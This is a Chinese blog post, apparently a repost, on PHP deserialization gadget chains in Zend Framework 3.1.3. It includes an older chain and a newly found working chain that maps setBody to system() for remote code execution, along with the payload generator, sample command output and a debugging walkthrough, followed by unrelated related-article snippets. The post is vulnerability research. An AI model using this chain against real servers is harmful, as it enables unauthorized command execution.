Zend Framework 3.1.3 gadget chain

2023-10-12 08:04
文章标签 3.1 framework chain gadget zend

本文主要是介绍Zend Framework 3.1.3 gadget chain,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

在推特上的PT SWARM账号发布了一条消息。

一个名为Zend Framework的php框架出现了新的gadget chain,可导致RCE。笔者尝试复现,但失败了。所幸,我基于此链,发现在这个框架的最新版本中的另一条链。

复现过程

这里使用vscode的ssh链接Ubuntu虚拟机,Ubuntu虚拟机内开有php7.2+nginx+xdebug的docker环境。使用composer安装框架。

这里偷懒,使用官方提供的MVC骨架,安装指令: composer create-project zendframework/skeleton-application path/to/install。根据下链,有一些包这个骨架还没安装。使用composer require安装zendframework/zend-filterzendframework/zend-logzendframework/zend-mail

这里放 复现环境,使用docker-compose up -d即可。

首先需要注意的是,ZF框架已经停止维护了。这是一个相当有年头的框架了,我估计不会发cve,要不然也不会公布…

gadget chain

<?phpclass Zend_Log
{protected $_writers;function __construct($x){$this->_writers = $x;}
}class Zend_Log_Writer_Mail
{protected $_eventsToMail;protected $_layoutEventsToMail;protected $_mail;protected $_layout;protected $_subjectPrependText;public function __construct($eventsToMail,$layoutEventsToMail,$mail,$layout) {$this->_eventsToMail       = $eventsToMail;$this->_layoutEventsToMail = $layoutEventsToMail;$this->_mail               = $mail;$this->_layout             = $layout;$this->_subjectPrependText = null;}
}class Zend_Mail
{
}class Zend_Layout
{protected $_inflector;protected $_inflectorEnabled;protected $_layout;public function __construct($inflector,$inflectorEnabled,$layout) {$this->_inflector        = $inflector;$this->_inflectorEnabled = $inflectorEnabled;$this->_layout           = '){}' . $layout . '/*';}
}class Zend_Filter_Callback
{protected $_callback = "create_function";protected $_options = [""];
}class Zend_Filter_Inflector
{protected $_rules = [];public function __construct(){$this->_rules['script'] = [new Zend_Filter_Callback()];}
}$code = "phpinfo();exit;";$a = new \Zend_Log([new \Zend_Log_Writer_Mail([1],[],new \Zend_Mail,new \Zend_Layout(new Zend_Filter_Inflector(),true,$code))]
);echo urlencode(serialize(['test' => $a]));

我把序列化数据打进去后发现这些类都变成了匿名类,简而言之就是ClassLoader没有找到这些类。这就很怪了。之后才发现,这些类的命名使用的是psr-0的规范。这个规范是放在以前php没有命名空间的时候使用的,早过时了。现在是psr-4。composer默认也是按照psr-4的规范安装的。

也就是说,这个链的可利用版本大致是相当古老的了(

我尝试安装更老旧版本的ZF框架。果然,老版本框架要求php版本在5.3以下……于是不打算继续复现…

新链发现

我尝试将上面poc的代码转换为psr-4规范,发现有一些类还有,有一些类则完全不在了,例如Zend_Layout类在ZF包的新版本中就没有。

我尝试利用现有的类进行测试,最终在上链基础上找到了新版本的链。

namespace Zend\Log {class Logger{protected $writers;function __construct(){$this->writers = [new \Zend\Log\Writer\Mail()];}}
}namespace Zend\Log\Writer {class Mail {protected $mail;protected $eventsToMail;protected $subjectPrependText;function __construct(){$this->mail = new \Zend\View\Renderer\PhpRenderer();$this->eventsToMail = ["id"];$this->subjectPrependText = null;}}
}namespace Zend\View\Renderer {class PhpRenderer {private $__helpers;function __construct(){$this->__helpers = new \Zend\View\Resolver\TemplateMapResolver();}}
}namespace Zend\View\Resolver {class TemplateMapResolver {protected $map;function __construct(){$this->map = ["setBody" => "system",];}}
}namespace {$payload = new \Zend\Log\Logger();echo urlencode(serialize($payload));
}/*
OUTPUT: 
uid=33(www-data) gid=33(www-data) groups=33(www-data)
*/

对此链进行调试

调试

// Zend\Log\Logger
public function __destruct()
{foreach ($this->writers as $writer) {try {$writer->shutdown();} catch (\Exception $e) {}}
}

起点是Zend\Log\Logger类的__destruct方法,这其实就是复现的那条链的Zend_Log类,新版本改名为此。

可以看到这里调用了一个变量$writershutdown方法。那么接下来就有两个思路。

  1. $writer设为没有shutdown方法的实例,调用其__call方法
  2. $writer设为有shutdown方法的实例,调用其shutdown方法

我这里找到了Zend\Log\Writer\Mail类有这个shutdown方法,同时找到了一个比较好用的__call方法。

public function shutdown()
{if (empty($this->eventsToMail)) {return;}if ($this->subjectPrependText !== null) {$numEntries = $this->getFormattedNumEntriesPerPriority();$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");}$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));try {$this->transport->send($this->mail);} catch (TransportException\ExceptionInterface $e) {trigger_error("unable to send log entries via email; " ."message = {$e->getMessage()}; " ."code = {$e->getCode()}; " ."exception class = " . get_class($e),E_USER_WARNING);}
}

这个方法调用了很多其它的方法,一开始没什么思路,再看看刚才说的__call方法。

// Zend\View\Renderer\PhpRenderer
public function __call($method, $argv)
{$plugin = $this->plugin($method);if (is_callable($plugin)) {return call_user_func_array($plugin, $argv);}return $plugin;
}

可以看到,call_user_func_array并没有限制类(通常会这么写call_user_func_array([$this, $method], $argv)以防止调用类外方法)。这里可能会导致RCE,跟入plugin方法

public function getHelperPluginManager()
{if (null === $this->__helpers) {$this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));}return $this->__helpers;
}public function plugin($name, array $options = null)
{return $this->getHelperPluginManager()->get($name, $options);
}

跟入后首先会调用getHelperPluginManager方法,其返回值可以被控制。问题就是接下来的get方法了。这里找到一个好用的get方法。

// Zend\View\Resolver\TemplateMapResolver
public function has($name)
{return array_key_exists($name, $this->map);
}public function get($name)
{if (! $this->has($name)) {return false;}return $this->map[$name];
}

Zend\View\Resolver\TemplateMapResolver类中的get方法明显是可以控制返回值的。那么之前plugin的返回值也就可以随心所欲了。之后调用__call方法里的call_user_func_array的第一个参数就随便我们控制了。

但现在还有一个问题,就是call_user_func_array的第二个参数无法控制。这时我想起了之前的shutdown方法。

public function shutdown()
{if (empty($this->eventsToMail)) {return;}if ($this->subjectPrependText !== null) {$numEntries = $this->getFormattedNumEntriesPerPriority();$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");}/* 注意这一句 */$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));try {$this->transport->send($this->mail);} catch (TransportException\ExceptionInterface $e) {trigger_error("unable to send log entries via email; " ."message = {$e->getMessage()}; " ."code = {$e->getCode()}; " ."exception class = " . get_class($e),E_USER_WARNING);}
}

很明显,我们想让终点的call_user_func_array的第二个参数有值。需要之前调用不存在方法时有参数。很明显,上面shutdown方法里有这么一句符合我们要求。

$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));首先可以调用__call方法,然后$this->eventsToMail经过implode函数可控。很明显,这个方法的参数可控,直接芜湖。

调用堆栈:

心得

可以看到,上面这样一条gadget链的寻找并没有那么困难。关键便是抓住php本身的特性,才能运用得灵活自如。

这篇关于Zend Framework 3.1.3 gadget chain的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/194472

相关文章

Spring Framework系统框架

序号表示的是学习顺序 IoC(控制反转)/DI(依赖注入): ioc:思想上是控制反转,spring提供了一个容器,称为IOC容器,用它来充当IOC思想中的外部。 我的理解就是spring把这些对象集中管理,放在容器中,这个容器就叫Ioc这些对象统称为Bean 用对象的时候不用new,直接外部提供(bean) 当外部的对象有关系的时候,IOC给它俩绑好(DI) DI和IO

JavaEE7 Servlet 3.1(JSR 340)规范中文版

http://www.iteye.com/news/27727-jinnianshilongnian     Jave EE 7中的部分规范已正式获得批准通过,其中包括JSR340 Java Servlet 3.1规范,去年翻译了该规范,在此分享出来,希望对某些朋友有所帮助,不足之处请指正。   点击直接下载    在线版目录   Servlet3.1规范翻译

Llama 3.1大模型的预训练和后训练范式解析

Meta的Llama大型语言模型每次出新版本,都会是一大事件。前段时间他们不仅发布了3.1的一个超大型的405亿参数模型,还对之前的8亿和70亿参数的模型做了升级,让它们在MMLU测试中的表现更好了。 不同模型在MMLU基准测试中的表现 他们还出了一个92页的技术报告《Llama 3 Herd of Models》(https://arxiv.org/abs/2407.21783),里

webservice系列3---chain

本节摘要:本节主要介绍webservice的高级特性chain的开发和配置 1.引言       之前在上webservice系列2---javabean&handler中讲了handler的使用,当有多个handler的时候,难道我们要一个一个的在wsdd文件中配置,然后一个一个的引入到需要的webservice中码?of course ,no。Apache组织已经替我们考虑到了这种需求,ch

设计模式 -- 职责链模式(Chain of Responsibility Pattern)

1 问题引出 1.1 学校 OA 系统的采购审批项目 如果金额 小于等于 5000, 由教学主任审批 (0<=x<=5000)如果金额 小于等于 10000, 由院长审批 (5000<x<=10000)如果金额 小于等于 30000, 由副校长审批 (10000<x<=30000)如果金额 超过 30000 以上,有校长审批 ( 30000<x) 1.2 传统方式 传统方式是

Flink 原理与实现:Operator Chain原理

硬刚大数据系列文章链接: 2021年从零到大数据专家的学习指南(全面升级版) 2021年从零到大数据专家面试篇之Hadoop/HDFS/Yarn篇 2021年从零到大数据专家面试篇之SparkSQL篇 2021年从零到大数据专家面试篇之消息队列篇 2021年从零到大数据专家面试篇之Spark篇 2021年从零到大数据专家面试篇之Hbase篇

Flink: 两个递归彻底搞懂operator chain

《2021年最新版大数据面试题全面开启更新》 operator chain是指将满足一定条件的operator 链在一起,放在同一个task里面执行,是Flink任务优化的一种方式,在同一个task里面的operator的数据传输变成函数调用关系,这种方式减少数据传输过程。常见的chain例如:source->map->filter,这样的任务链可以chain在一起,那么其内部是如何决定

[编程之美] 3.1 字符串循环移位包含

题目 s1 = AABCD, s2 = CDAA Return : true 给定两个字符串 s1 和 s2,要求判定 s2 是否能够被 s1 做循环移位得到的字符串包含。 思路 以S1 = ABCD 为例,对其循环移位的后果为: ABCD -> BCDA -> CDAB -> DABC -> ABCD S1S1 = ABCDABCD 看出对S1做循环移位所得到的字符串都将是字符串S1S1的

struts2 result type= redirect redirectAction chain dispatcher等类型

struts.xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE struts PUBLIC     "-//Apache Software Foundation//DTD Struts Configuration 2.0//EN"     "http://struts.apache.org/dtds/struts-2.0.

安卓aosp14上自由窗口划线边框Freeform Caption实战开发-千里马framework实战

背景: 上一篇文章也分享过aosp14版本上自由窗口的Caption栏的显示原理,今天来讲解一下aosp14版本上如何实现对自由窗口的划线边框功能,相关功能已经在aosp13上面进行实现,具体可以看我的分屏自由窗口专题哈。 就是想要在aosp14上面实现如下功能: 即自由窗口在被触摸放大缩小时候,边框要被画成红色的线条,表示选中。 尝试aosp13老方案: 因为aosp13是在acti